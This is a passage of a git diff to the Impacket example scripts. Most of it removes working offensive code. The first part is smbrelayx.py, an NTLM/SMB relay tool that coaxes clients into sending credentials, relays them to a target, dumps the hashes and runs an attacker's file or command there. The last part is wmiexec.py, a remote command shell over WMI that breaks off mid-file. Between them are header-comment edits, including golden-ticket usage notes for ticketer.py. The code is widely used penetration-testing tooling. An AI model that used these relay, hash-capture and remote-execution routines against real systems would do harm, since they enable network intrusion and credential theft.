smbClient.sendAuth(connData['CHALLENGE_MESSAGE']['challenge'], - sessionSetupData['SecurityBlob']) - else: - # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials - errorCode = STATUS_ACCESS_DENIED - - if errorCode != STATUS_SUCCESS: - # Let's return what the target returned, hope the client connects back again - packet = NewSMBPacket() - packet['Flags1'] = SMB.FLAGS1_REPLY | SMB.FLAGS1_PATHCASELESS - packet['Flags2'] = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_EXTENDED_SECURITY - packet['Command'] = recvPacket['Command'] - packet['Pid'] = recvPacket['Pid'] - packet['Tid'] = recvPacket['Tid'] - packet['Mid'] = recvPacket['Mid'] - packet['Uid'] = recvPacket['Uid'] - packet['Data'] = b'\x00\x00\x00' - packet['ErrorCode'] = errorCode >> 16 - packet['ErrorClass'] = errorCode & 0xff - # Reset the UID - smbClient.setUid(0) - logging.error("Authenticating against %s as %s\\%s FAILED" % ( - self.target, authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le'))) - # del (smbData[self.target]) - return None, [packet], errorCode - else: - # We have a session, create a thread and do whatever we want - logging.info("Authenticating against %s as %s\\%s SUCCEED" % ( - self.target, authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le'))) - ntlm_hash_data = outputToJohnFormat(connData['CHALLENGE_MESSAGE']['challenge'], - authenticateMessage['user_name'], - authenticateMessage['domain_name'], - authenticateMessage['lanman'], authenticateMessage['ntlm']) - logging.info(ntlm_hash_data['hash_string']) - if self.server.getJTRdumpPath() != '': - writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], - self.server.getJTRdumpPath()) - - # Target will be attacked, adding to the attacked set - # If the attack fails, the doAttack thread will be responsible of removing it from the set - ATTACKED_HOSTS.add(self.target) - if self.runSocks is True: - # Pass all the data to the socksplugins proxy - protocolClient = SMBRelayClient(None, urlparse('smb://%s' % self.target)) - protocolClient.session = SMBConnection(existingConnection=smbClient) - activeConnections.put((self.target, 445, 'SMB', - ('%s/%s' % ( - authenticateMessage['domain_name'].decode('utf-16le'), - authenticateMessage['user_name'].decode('utf-16le'))).upper(), - protocolClient, connData)) - logging.info("Adding %s(445) to active SOCKS connection. Enjoy" % self.target) - del (smbData[self.target]) - else: - del (smbData[self.target]) - clientThread = doAttack(smbClient,self.exeFile,self.command) - clientThread.start() - - - # Now continue with the server - ############################################################# - - # Return status code of the authentication process. - errorCode = self.returnStatus - logging.info("Sending status code %s after authentication to %s" % ( - ERROR_MESSAGES[self.returnStatus][0], connData['ClientIP'])) - - respToken = SPNEGO_NegTokenResp() - # accept-completed - respToken['NegState'] = b'\x00' - - # Status SUCCESS - # Let's store it in the connection data - connData['AUTHENTICATE_MESSAGE'] = authenticateMessage - else: - raise Exception("Unknown NTLMSSP MessageType %d" % messageType) - - respParameters['SecurityBlobLength'] = len(respToken) - - respData['SecurityBlobLength'] = respParameters['SecurityBlobLength'] - respData['SecurityBlob'] = respToken.getData() - - else: - # Process Standard Security - respParameters = SMBSessionSetupAndXResponse_Parameters() - respData = SMBSessionSetupAndXResponse_Data() - sessionSetupParameters = SMBSessionSetupAndX_Parameters(smbCommand['Parameters']) - sessionSetupData = SMBSessionSetupAndX_Data() - sessionSetupData['AnsiPwdLength'] = sessionSetupParameters['AnsiPwdLength'] - sessionSetupData['UnicodePwdLength'] = sessionSetupParameters['UnicodePwdLength'] - sessionSetupData.fromString(smbCommand['Data']) - connData['Capabilities'] = sessionSetupParameters['Capabilities'] - ############################################################# - # SMBRelay - smbClient = smbData[self.target]['SMBClient'] - if sessionSetupData['Account'] != '': - clientResponse, errorCode = smbClient.login_standard(sessionSetupData['Account'], - sessionSetupData['PrimaryDomain'], - sessionSetupData['AnsiPwd'], - sessionSetupData['UnicodePwd']) - else: - # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials - errorCode = STATUS_ACCESS_DENIED - - if errorCode != STATUS_SUCCESS: - # Let's return what the target returned, hope the client connects back again - packet = NewSMBPacket() - packet['Flags1'] = SMB.FLAGS1_REPLY | SMB.FLAGS1_PATHCASELESS - packet['Flags2'] = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_EXTENDED_SECURITY - packet['Command'] = recvPacket['Command'] - packet['Pid'] = recvPacket['Pid'] - packet['Tid'] = recvPacket['Tid'] - packet['Mid'] = recvPacket['Mid'] - packet['Uid'] = recvPacket['Uid'] - packet['Data'] = '\x00\x00\x00' - packet['ErrorCode'] = errorCode >> 16 - packet['ErrorClass'] = errorCode & 0xff - # Reset the UID - smbClient.setUid(0) - return None, [packet], errorCode - # Now continue with the server - else: - # We have a session, create a thread and do whatever we want - ntlm_hash_data = outputToJohnFormat(b'', sessionSetupData['Account'], sessionSetupData['PrimaryDomain'], - sessionSetupData['AnsiPwd'], sessionSetupData['UnicodePwd']) - logging.info(ntlm_hash_data['hash_string']) - if self.server.getJTRdumpPath() != '': - writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], - self.server.getJTRdumpPath()) - # Target will be attacked, adding to the attacked set - # If the attack fails, the doAttack thread will be responsible of removing it from the set - ATTACKED_HOSTS.add(self.target) - if self.runSocks is True: - # Pass all the data to the socksplugins proxy - protocolClient = SMBRelayClient(None, urlparse('smb://%s' % self.target)) - protocolClient.session = SMBConnection(existingConnection=smbClient) - activeConnections.put((self.target, 445, 'SMB', - ('%s/%s' % ( - sessionSetupData['PrimaryDomain'], - sessionSetupData['Account'])).upper(), - protocolClient, connData)) - logging.info("Adding %s(445) to active SOCKS connection. Enjoy" % self.target) - # Remove the target server from our connection list, the work is done - del (smbData[self.target]) - else: - # Remove the target server from our connection list, the work is done - del (smbData[self.target]) - clientThread = doAttack(smbClient, self.exeFile, self.command) - clientThread.start() - # Now continue with the server - - - ############################################################# - - # Do the verification here, for just now we grant access - # TODO: Manage more UIDs for the same session - errorCode = self.returnStatus - logging.info("Sending status code %s after authentication to %s" % ( - ERROR_MESSAGES[self.returnStatus][0], connData['ClientIP'])) - connData['Uid'] = 10 - respParameters['Action'] = 0 - - respData['NativeOS'] = smbServer.getServerOS() - respData['NativeLanMan'] = smbServer.getServerOS() - respSMBCommand['Parameters'] = respParameters - respSMBCommand['Data'] = respData - - # From now on, the client can ask for other commands - connData['Authenticated'] = True - ############################################################# - # SMBRelay - smbServer.setConnectionData('SMBRelay', smbData) - ############################################################# - smbServer.setConnectionData(connId, connData) - - return [respSMBCommand], None, errorCode - - def _start(self): - self.server.serve_forever() - - def run(self): - logging.info("Setting up SMB Server") - self._start() - - def setTargets(self, targets): - self.target = targets - - def setExeFile(self, filename): - self.exeFile = filename - - def setCommand(self, command): - self.command = command - - def setSocks(self, socks): - self.runSocks = socks - - def setReturnStatus(self, returnStatus): - # Specifies return status after successful relayed authentication to return - # to the connecting client. This comes useful when we don't want the connecting - # client to store successful credentials in his memory. Valid statuses: - # STATUS_SUCCESS - denotes that the connecting client passed valid credentials, - # which will make him store them accordingly. - # STATUS_ACCESS_DENIED - may occur for instance when the client is not a Domain Admin, - # and got configured Remote UAC, thus preventing connection to ADMIN$ - # STATUS_LOGON_FAILURE - which will tell the connecting client that the passed credentials - # are invalid. - self.returnStatus = { - 'success' : STATUS_SUCCESS, - 'denied' : STATUS_ACCESS_DENIED, - 'logon_failure' : STATUS_LOGON_FAILURE - }[returnStatus.lower()] - - def setMode(self,mode, one_shot): - self.mode = mode - self.one_shot = one_shot - - def setDomainAccount( self, machineAccount, machineHashes, domainIp): - self.machineAccount = machineAccount - self.machineHashes = machineHashes - self.domainIp = domainIp - -# Process command-line arguments. -if __name__ == '__main__': - - RELAY_SERVERS = ( SMBRelayServer, HTTPRelayServer ) - print(version.BANNER) - parser = argparse.ArgumentParser(add_help=False, - description="For every connection received, this module will try to SMB relay that " - " connection to the target system or the original client") - parser.add_argument("--help", action="help", help='show this help message and exit') - parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') - parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') - parser.add_argument('-h', action='store', metavar='HOST', - help='Host to relay the credentials to, if not it will relay it back to the client') - parser.add_argument('-s', action='store', choices={'success', 'denied', 'logon_failure'}, default='success', - help='Status to return after client performed authentication. Default: "success".') - parser.add_argument('-e', action='store', required=False, metavar='FILE', - help='File to execute on the target system. If not specified, hashes will be dumped ' - '(secretsdump.py must be in the same directory)') - parser.add_argument('-c', action='store', type=str, required=False, metavar='COMMAND', - help='Command to execute on target system. If not specified, hashes will be dumped ' - '(secretsdump.py must be in the same directory)') - parser.add_argument('-socks', action='store_true', default=False, - help='Launch a SOCKS proxy for the connection relayed') - parser.add_argument('-one-shot', action='store_true', default=False, - help='After successful authentication, only execute the attack once for each target') - parser.add_argument('-codec', action='store', help='Sets encoding used (codec) from the target\'s output (default ' - '"%s"). If errors are detected, run chcp.com at the target, ' - 'map the result with ' - 'https://docs.python.org/3/library/codecs.html#standard-encodings and then execute smbrelayx.py ' - 'again with -codec and the corresponding codec ' % CODEC) - parser.add_argument('-outputfile', action='store', - help='base output filename for encrypted hashes. Suffixes will be added for ntlm and ntlmv2') - parser.add_argument('-machine-account', action='store', required=False, - help='Domain machine account to use when interacting with the domain to grab a session key for ' - 'signing, format is domain/machine_name') - parser.add_argument('-machine-hashes', action="store", metavar="LMHASH:NTHASH", - help='Domain machine hashes, format is LMHASH:NTHASH') - parser.add_argument('-domain', action="store", help='Domain FQDN or IP to connect using NETLOGON') - - try: - options = parser.parse_args() - except Exception as e: - logging.error(str(e)) - sys.exit(1) - - # Init the example's logger theme - logger.init(options.ts) - - if options.codec is not None: - CODEC = options.codec - - if options.debug is True: - logging.getLogger().setLevel(logging.DEBUG) - # Print the Library's installation path - logging.debug(version.getInstallationPath()) - else: - logging.getLogger().setLevel(logging.INFO) - logging.getLogger('impacket.smbserver').setLevel(logging.ERROR) - - - if options.h is not None: - logging.info("Running in relay mode") - mode = 'RELAY' - targetSystem = options.h - else: - logging.info("Running in reflection mode") - targetSystem = None - mode = 'REFLECTION' - - exeFile = options.e - Command = options.c - returnStatus = options.s - - threads = set() - - if options.socks is True: - # Start a SOCKS proxy in the background - s1 = SOCKS() - socks_thread = Thread(target=s1.serve_forever) - socks_thread.daemon = True - socks_thread.start() - threads.add(socks_thread) - - for server in RELAY_SERVERS: - s = server(options.outputfile) - s.setTargets(targetSystem) - s.setExeFile(exeFile) - s.setCommand(Command) - s.setSocks(options.socks) - s.setReturnStatus(returnStatus) - s.setMode(mode, options.one_shot) - if options.machine_account is not None and options.machine_hashes is not None and options.domain is not None: - s.setDomainAccount( options.machine_account, options.machine_hashes, options.domain) - elif (options.machine_account is None and options.machine_hashes is None and options.domain is None) is False: - logging.error("You must specify machine-account/hashes/domain all together!") - sys.exit(1) - - s.start() - threads.add(s) - - print("") - logging.info("Servers started, waiting for connections") - while True: - try: - sys.stdin.read() - except KeyboardInterrupt: - logging.info('Quitting.. please wait') - if options.socks is True: - s1.shutdown() - for s in threads: - del(s) - sys.exit(1) - else: - pass diff --git a/examples/smbserver.py b/examples/smbserver.py index c3b5586688..df658a0f73 100755 --- a/examples/smbserver.py +++ b/examples/smbserver.py @@ -1,14 +1,17 @@ #!/usr/bin/env python -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Simple SMB Server example. +# Description: +# Simple SMB Server example. # # Author: -# Alberto Solino (@agsolino) +# Alberto Solino (@agsolino) # import sys diff --git a/examples/sniff.py b/examples/sniff.py index 1dfe36e4d2..89b559d45d 100755 --- a/examples/sniff.py +++ b/examples/sniff.py @@ -1,26 +1,30 @@ #!/usr/bin/env python -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Simple packet sniffer. +# Description: +# Simple packet sniffer. # -# This packet sniffer uses the pcap library to listen for packets in -# transit over the specified interface. The returned packages can be -# filtered according to a BPF filter (see tcpdump(3) for further -# information on BPF filters). +# This packet sniffer uses the pcap library to listen for packets in +# transit over the specified interface. The returned packages can be +# filtered according to a BPF filter (see tcpdump(3) for further +# information on BPF filters). # -# Note that the user might need special permissions to be able to use pcap. +# Note that the user might need special permissions to be able to use pcap. # # Authors: -# Maximiliano Caceres -# Javier Kohen +# Maximiliano Caceres +# Javier Kohen # # Reference for: -# pcapy: findalldevs, open_live. -# ImpactDecoder. +# pcapy: findalldevs, open_live +# ImpactDecoder +# import sys from threading import Thread diff --git a/examples/sniffer.py b/examples/sniffer.py index cbf9fd64dc..248e934c32 100755 --- a/examples/sniffer.py +++ b/examples/sniffer.py @@ -1,24 +1,28 @@ #!/usr/bin/env python -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Simple packet sniffer. +# Description: +# Simple packet sniffer. # -# This packet sniffer uses a raw socket to listen for packets -# in transit corresponding to the specified protocols. +# This packet sniffer uses a raw socket to listen for packets +# in transit corresponding to the specified protocols. # -# Note that the user might need special permissions to be able to use -# raw sockets. +# Note that the user might need special permissions to be able to use +# raw sockets. # # Authors: -# Gerardo Richarte -# Javier Kohen +# Gerardo Richarte (@gerasdf) +# Javier Kohen # # Reference for: -# ImpactDecoder. +# ImpactDecoder +# from select import select import socket diff --git a/examples/split.py b/examples/split.py index b05b508be7..6603ed874a 100755 --- a/examples/split.py +++ b/examples/split.py @@ -1,22 +1,27 @@ #!/usr/bin/env python -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Pcap dump splitter. +# Description: +# Pcap dump splitter # -# This tools splits pcap capture files into smaller ones, one for each -# different TCP/IP connection found in the original. +# This tools splits pcap capture files into smaller ones, one for each +# different TCP/IP connection found in the original. # # Authors: -# Alejandro D. Weil -# Javier Kohen +# Alejandro D. Weil +# Javier Kohen # # Reference for: -# pcapy: open_offline, pcapdumper. -# ImpactDecoder. +# pcapy: open_offline, pcapdumper +# ImpactDecoder +# + from __future__ import division from __future__ import print_function import sys diff --git a/examples/ticketConverter.py b/examples/ticketConverter.py index ed91952d05..f0fac41565 100755 --- a/examples/ticketConverter.py +++ b/examples/ticketConverter.py @@ -1,23 +1,29 @@ #!/usr/bin/env python +# Impacket - Collection of Python classes for working with network protocols. # -# Author: -# Zer1t0 (https://github.com/Zer1t0) +# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. # # Description: -# This script will convert kirbi files (commonly used by mimikatz) into ccache files used by impacket, -# and vice versa. +# This script will convert kirbi files (commonly used by mimikatz) into ccache files used by impacket, +# and vice versa. # -# References: -# https://tools.ietf.org/html/rfc4120 -# http://web.mit.edu/KERBEROS/krb5-devel/doc/formats/ccache_file_format.html -# https://github.com/gentilkiwi/kekeo -# https://github.com/rvazarkar/KrbCredExport +# Examples: +# ./ticket_converter.py admin.ccache admin.kirbi +# ./ticket_converter.py admin.kirbi admin.ccache # -# Examples: -# ./ticket_converter.py admin.ccache admin.kirbi -# ./ticket_converter.py admin.kirbi admin.ccache +# Author: +# Zer1t0 (https://github.com/Zer1t0) +# +# References: +# - https://tools.ietf.org/html/rfc4120 +# - http://web.mit.edu/KERBEROS/krb5-devel/doc/formats/ccache_file_format.html +# - https://github.com/gentilkiwi/kekeo +# - https://github.com/rvazarkar/KrbCredExport # - import argparse import struct diff --git a/examples/ticketer.py b/examples/ticketer.py index 47445dc68d..c7d8422fa9 100755 --- a/examples/ticketer.py +++ b/examples/ticketer.py @@ -1,45 +1,48 @@ #!/usr/bin/env python -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Author: -# Alberto Solino (@agsolino) -# # Description: -# This script will create TGT/TGS tickets from scratch or based on a template (legally requested from the KDC) -# allowing you to customize some of the parameters set inside the PAC_LOGON_INFO structure, in particular the -# groups, extrasids, etc. -# Tickets duration is fixed to 10 years from now (although you can manually change it) +# This script will create TGT/TGS tickets from scratch or based on a template (legally requested from the KDC) +# allowing you to customize some of the parameters set inside the PAC_LOGON_INFO structure, in particular the +# groups, extrasids, etc. +# Tickets duration is fixed to 10 years from now (although you can manually change it) # -# References: -# Original presentation at BlackHat USA 2014 by @gentilkiwi and @passingthehash: -# (https://www.slideshare.net/gentilkiwi/abusing-microsoft-kerberos-sorry-you-guys-dont-get-it) -# Original implementation by Benjamin Delpy (@gentilkiwi) in mimikatz -# (https://github.com/gentilkiwi/mimikatz) +# Examples: +# ./ticketer.py -nthash -domain-sid -domain baduser # -# Examples: -# ./ticketer.py -nthash -domain-sid -domain baduser +# will create and save a golden ticket for user 'baduser' that will be all encrypted/signed used RC4. +# If you specify -aesKey instead of -ntHash everything will be encrypted using AES128 or AES256 +# (depending on the key specified). No traffic is generated against the KDC. Ticket will be saved as +# baduser.ccache. # -# will create and save a golden ticket for user 'baduser' that will be all encrypted/signed used RC4. -# If you specify -aesKey instead of -ntHash everything will be encrypted using AES128 or AES256 -# (depending on the key specified). No traffic is generated against the KDC. Ticket will be saved as -# baduser.ccache. +# ./ticketer.py -nthash -aesKey -domain-sid -domain +# -request -user -password baduser # -# ./ticketer.py -nthash -aesKey -domain-sid -domain -# -request -user -password baduser +# will first authenticate against the KDC (using -user/-password) and get a TGT that will be used +# as template for customization. Whatever encryption algorithms used on that ticket will be honored, +# hence you might need to specify both -nthash and -aesKey data. Ticket will be generated for 'baduser' and saved +# as baduser.ccache. # -# will first authenticate against the KDC (using -user/-password) and get a TGT that will be used -# as template for customization. Whatever encryption algorithms used on that ticket will be honored, -# hence you might need to specify both -nthash and -aesKey data. Ticket will be generated for 'baduser' and saved -# as baduser.ccache. +# Author: +# Alberto Solino (@agsolino) +# +# References: +# - Original presentation at BlackHat USA 2014 by @gentilkiwi and @passingthehash: +# (https://www.slideshare.net/gentilkiwi/abusing-microsoft-kerberos-sorry-you-guys-dont-get-it) +# - Original implementation by Benjamin Delpy (@gentilkiwi) in mimikatz +# (https://github.com/gentilkiwi/mimikatz) # # ToDo: -# [X] Silver tickets still not implemented - DONE by @machosec and fixes by @br4nsh -# [ ] When -request is specified, we could ask for a user2user ticket and also populate the received PAC +# [X] Silver tickets still not implemented - DONE by @machosec and fixes by @br4nsh +# [ ] When -request is specified, we could ask for a user2user ticket and also populate the received PAC # + from __future__ import division from __future__ import print_function import argparse diff --git a/examples/wmiexec.py b/examples/wmiexec.py deleted file mode 100755 index 0fb0361c09..0000000000 --- a/examples/wmiexec.py +++ /dev/null @@ -1,435 +0,0 @@ -#!/usr/bin/env python -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. -# -# This software is provided under under a slightly modified version -# of the Apache Software License. See the accompanying LICENSE file -# for more information. -# -# A similar approach to smbexec but executing commands through WMI. -# Main advantage here is it runs under the user (has to be Admin) -# account, not SYSTEM, plus, it doesn't generate noisy messages -# in the event log that smbexec.py does when creating a service. -# Drawback is it needs DCOM, hence, I have to be able to access -# DCOM ports at the target machine. -# -# Author: -# beto (@agsolino) -# -# Reference for: -# DCOM -# -from __future__ import division -from __future__ import print_function -import sys -import os -import cmd -import argparse -import time -import logging -import ntpath - -from impacket.examples import logger -from impacket import version -from impacket.smbconnection import SMBConnection, SMB_DIALECT, SMB2_DIALECT_002, SMB2_DIALECT_21 -from impacket.dcerpc.v5.dcomrt import DCOMConnection -from impacket.dcerpc.v5.dcom import wmi -from impacket.dcerpc.v5.dtypes import NULL -from impacket.krb5.keytab import Keytab -from six import PY2 - -OUTPUT_FILENAME = '__' + str(time.time()) -CODEC = sys.stdout.encoding - -class WMIEXEC: - def __init__(self, command='', username='', password='', domain='', hashes=None, aesKey=None, share=None, - noOutput=False, doKerberos=False, kdcHost=None): - self.__command = command - self.__username = username - self.__password = password - self.__domain = domain - self.__lmhash = '' - self.__nthash = '' - self.__aesKey = aesKey - self.__share = share - self.__noOutput = noOutput - self.__doKerberos = doKerberos - self.__kdcHost = kdcHost - self.shell = None - if hashes is not None: - self.__lmhash, self.__nthash = hashes.split(':') - - def run(self, addr): - if self.__noOutput is False: - smbConnection = SMBConnection(addr, addr) - if self.__doKerberos is False: - smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) - else: - smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, - self.__nthash, self.__aesKey, kdcHost=self.__kdcHost) - - dialect = smbConnection.getDialect() - if dialect == SMB_DIALECT: - logging.info("SMBv1 dialect used") - elif dialect == SMB2_DIALECT_002: - logging.info("SMBv2.0 dialect used") - elif dialect == SMB2_DIALECT_21: - logging.info("SMBv2.1 dialect used") - else: - logging.info("SMBv3.0 dialect used") - else: - smbConnection = None - - dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, - self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost) - try: - iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) - iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) - iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) - iWbemLevel1Login.RemRelease() - - win32Process,_ = iWbemServices.GetObject('Win32_Process') - - self.shell = RemoteShell(self.__share, win32Process, smbConnection) - if self.__command != ' ': - self.shell.onecmd(self.__command) - else: - self.shell.cmdloop() - except (Exception, KeyboardInterrupt) as e: - if logging.getLogger().level == logging.DEBUG: - import traceback - traceback.print_exc() - logging.error(str(e)) - if smbConnection is not None: - smbConnection.logoff() - dcom.disconnect() - sys.stdout.flush() - sys.exit(1) - - if smbConnection is not None: - smbConnection.logoff() - dcom.disconnect() - -class RemoteShell(cmd.Cmd): - def __init__(self, share, win32Process, smbConnection): - cmd.Cmd.__init__(self) - self.__share = share - self.__output = '\\' + OUTPUT_FILENAME - self.__outputBuffer = str('') - self.__shell = 'cmd.exe /Q /c ' - self.__win32Process = win32Process - self.__transferClient = smbConnection - self.__pwd = str('C:\\') - self.__noOutput = False - self.intro = '[!] Launching semi-interactive shell - Careful what you execute\n[!] Press help for extra shell commands' - - # We don't wanna deal with timeouts from now on. - if self.__transferClient is not None: - self.__transferClient.setTimeout(100000) - self.do_cd('\\') - else: - self.__noOutput = True - - def do_shell(self, s): - os.system(s) - - def do_help(self, line): - print(""" - lcd {path} - changes the current local directory to {path} - exit - terminates the server process (and this session) - put {src_file, dst_path} - uploads a local file to the dst_path (dst_path = default current directory) - get {file} - downloads pathname to the current local dir - ! {cmd} - executes a local shell cmd -""") - - def do_lcd(self, s): - if s == '': - print(os.getcwd()) - else: - try: - os.chdir(s) - except Exception as e: - logging.error(str(e)) - - def do_get(self, src_path): - - try: - import ntpath - newPath = ntpath.normpath(ntpath.join(self.__pwd, src_path)) - drive, tail = ntpath.splitdrive(newPath) - filename = ntpath.basename(tail) - fh = open(filename,'wb') - logging.info("Downloading %s\\%s" % (drive, tail)) - self.__transferClient.getFile(drive[:-1]+'$', tail, fh.write) - fh.close() - - except Exception as e: - logging.error(str(e)) - - if os.path.exists(filename): - os.remove(filename) - - - - def do_put(self, s): - try: - params = s.split(' ') - if len(params) > 1: - src_path = params[0] - dst_path = params[1] - elif len(params) == 1: - src_path = params[0] - dst_path = '' - - src_file = os.path.basename(src_path) - fh = open(src_path, 'rb') - dst_path = dst_path.replace('/','\\') - import ntpath - pathname = ntpath.join(ntpath.join(self.__pwd,dst_path), src_file) - drive, tail = ntpath.splitdrive(pathname) - logging.info("Uploading %s to %s" % (src_file, pathname)) - self.__transferClient.putFile(drive[:-1]+'$', tail, fh.read) - fh.close() - except Exception as e: - logging.critical(str(e)) - pass - - def do_exit(self, s): - return True - - def emptyline(self): - return False - - def do_cd(self, s): - self.execute_remote('cd ' + s) - if len(self.__outputBuffer.strip('\r\n')) > 0: - print(self.__outputBuffer) - self.__outputBuffer = '' - else: - if PY2: - self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s.decode(sys.stdin.encoding))) - else: - self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s)) - self.execute_remote('cd ') - self.__pwd = self.__outputBuffer.strip('\r\n') - self.prompt = (self.__pwd + '>') - self.__outputBuffer = '' - - def default(self, line): - # Let's try to guess if the user is trying to change drive - if len(line) == 2 and line[1] == ':': - # Execute the command and see if the drive is valid - self.execute_remote(line) - if len(self.__outputBuffer.strip('\r\n')) > 0: - # Something went wrong - print(self.__outputBuffer) - self.__outputBuffer = '' - else: - # Drive valid, now we should get the current path - self.__pwd = line - self.execute_remote('cd ') - self.__pwd = self.__outputBuffer.strip('\r\n') - self.prompt = (self.__pwd + '>') - self.__outputBuffer = '' - else: - if line != '': - self.send_data(line) - - def get_output(self): - def output_callback(data): - try: - self.__outputBuffer += data.decode(CODEC) - except UnicodeDecodeError: - logging.error('Decoding error detected, consider running chcp.com at the target,\nmap the result with ' - 'https://docs.python.org/3/library/codecs.html#standard-encodings\nand then execute wmiexec.py ' - 'again with -codec and the corresponding codec') - self.__outputBuffer += data.decode(CODEC, errors='replace') - - if self.__noOutput is True: - self.__outputBuffer = '' - return - - while True: - try: - self.__transferClient.getFile(self.__share, self.__output, output_callback) - break - except Exception as e: - if str(e).find('STATUS_SHARING_VIOLATION') >=0: - # Output not finished, let's wait - time.sleep(1) - pass - elif str(e).find('Broken') >= 0: - # The SMB Connection might have timed out, let's try reconnecting - logging.debug('Connection broken, trying to recreate it') - self.__transferClient.reconnect() - return self.get_output() - self.__transferClient.deleteFile(self.__share, self.__output) - - def execute_remote(self, data): - command = self.__shell + data - if self.__noOutput is False: - command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output + ' 2>&1' - if PY2: - self.__win32Process.Create(command.decode(sys.stdin.encoding), self.__pwd, None) - else: - self.__win32Process.Create(command, self.__pwd, None) - self.get_output() - - def send_data(self, data): - self.execute_remote(data) - print(self.__outputBuffer) - self.__outputBuffer = '' - -class AuthFileSyntaxError(Exception): - - '''raised by load_smbclient_auth_file if it encounters a syntax error - while loading the smbclient-style authentication file.''' - - def __init__(self, path, lineno, reason): - self.path=path - self.lineno=lineno - self.reason=reason - - def __str__(self): - return 'Syntax error in auth file %s line %d: %s' % ( - self.path, self.lineno, self.reason ) - -def load_smbclient_auth_file(path): - - '''Load credentials from an smbclient-style authentication file (used by - smbclient, mount.cifs and others). returns (domain, username, password) - or raises AuthFileSyntaxError or any I/O exceptions.''' - - lineno=0 - domain=None - username=None - password=None - for line in open(path): - lineno+=1 - - line = line.strip() - - if line.startswith('#') or line=='': - continue - - parts = line.split('=',1) - if len(parts) != 2: - raise AuthFileSyntaxError(path, lineno, 'No "=" present in line') - - (k,v) = (parts[0].strip(), parts[1].strip()) - - if k=='username': - username=v - elif k=='password': - password=v - elif k=='domain': - domain=v - else: - raise AuthFileSyntaxError(path, lineno, 'Unknown option %s' % repr(k)) - - return (domain, username, password) - -# Process command-line arguments. -if __name__ == '__main__': - print(version.BANNER) - - parser = argparse.ArgumentParser(add_help = True, description = "Executes a semi-interactive shell using Windows " - "Management Instrumentation.") - parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') - parser.add_argument('-share', action='store', default = 'ADMIN$', help='share where the output will be grabbed from ' - '(default ADMIN$)') - parser.add_argument('-nooutput', action='store_true', default = False, help='whether or not to print the output ' - '(no SMB connection created)') - parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') - parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') - parser.add_argument('-codec', action='store', help='Sets encoding used (codec) from the target\'s output (default ' - '"%s"). If errors are detected, run chcp.com at the target, ' - 'map the result with ' - 'https://docs.python.org/3/library/codecs.html#standard-encodings and then execute wmiexec.py ' - 'again with -codec and the corresponding codec ' % CODEC) - - parser.add_argument('command', nargs='*', default = ' ', help='command to execute at the target. If empty it will ' - 'launch a semi-interactive shell') - - group = parser.add_argument_group('authentication') - - group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') - group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') - group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' - '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' - 'ones specified in the command line') - group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' - '(128 or 256 bits)') - group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If 